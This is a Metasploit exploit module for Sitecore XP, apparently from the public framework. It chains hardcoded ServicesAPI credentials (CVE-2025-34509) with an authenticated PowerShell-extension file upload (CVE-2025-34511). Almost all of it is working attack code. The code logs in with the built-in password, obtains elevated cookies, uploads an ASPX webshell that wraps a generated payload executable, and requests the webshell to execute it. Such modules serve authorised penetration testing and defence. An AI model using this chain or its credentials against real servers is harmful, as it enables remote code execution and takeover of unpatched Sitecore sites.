Sitecore XP Post-Authentication File Upload

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::SitecoreXp include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Sitecore XP CVE-2025-34511 Post-Authentication File Upload', 'Description' => %q{ This module exploits CVE-2025-34511, a file upload vulnerability in PowerShell extensions. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold. }, 'License' => MSF_LICENSE, 'Author' => [ 'Piotr Bazydlo', # Discovery 'msutovsky-r7' # Module Creator ], 'References' => [ [ 'CVE', '2025-34511' ], ['URL', 'https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform'], ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667'] ], 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Windows', { 'Arch' => [ARCH_X86, ARCH_X64] } ] ], 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'DisclosureDate' => '2025-06-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to the vulnerable endpoint', '/']), ]) end def check return Exploit::CheckCode::Unknown('Could not log in, application might not be Sitecore') unless login_identitysrv('ServicesAPI', 'b') @is_logged = true return Exploit::CheckCode::Safe('Could not get elevated cookies') unless get_identity_cookies @is_elevated = true sitecore_version = get_version res = send_request_cgi({ 'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'), 'method' => 'GET', 'vars_get' => { 'hdl' => '1245516121' } }) return Exploit::CheckCode::Safe('PowerShell extension not detected, might not be installed in target Sitecore instance') unless res&.code == 200 return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4')) Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable") end def upload_webshell @webshell = "#{Rex::Text.rand_text_alpha(15)}.aspx" @item_uri = Rex::Text.rand_text_alpha(8) exe = generate_payload_exe asp = Msf::Util::EXE.to_exe_aspx(exe) data_post = Rex::MIME::Message.new data_post.add_part(@item_uri, nil, nil, %(form-data; name="ItemUri")) data_post.add_part('en', nil, nil, %(form-data; name="LanguageName")) data_post.add_part('0', nil, nil, %(form-data; name="Overwrite")) data_post.add_part('0', nil, nil, %(form-data; name="Unpack")) data_post.add_part('en', nil, nil, %(form-data; name="Versioned")) data_post.add_part(asp, 'text/plain', nil, %(form-data; name="#{@item_uri}"; filename="#{@webshell}")) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', 'PowerShellUploadFile2.aspx'), 'vars_get' => { 'hdl' => '1245516121' }, 'data' => data_post.to_s, 'ctype' => "multipart/form-data; boundary=#{data_post.bound}" }) return false unless res&.code == 200 true end def trigger_webshell send_request_cgi({ 'uri' => normalize_uri('sitecore%20modules', 'Shell', 'PowerShell', 'UploadFile', @item_uri, @webshell), 'method' => 'GET' }) end def exploit if !@is_logged && !login_identitysrv('ServicesAPI', 'b') fail_with(Failure::NoAccess, 'Failed to log in, check the credentials') end if !@is_elevated && !get_identity_cookies fail_with(Failure::Unknown, 'Failed to get elevated cookies') end fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless upload_webshell trigger_webshell end end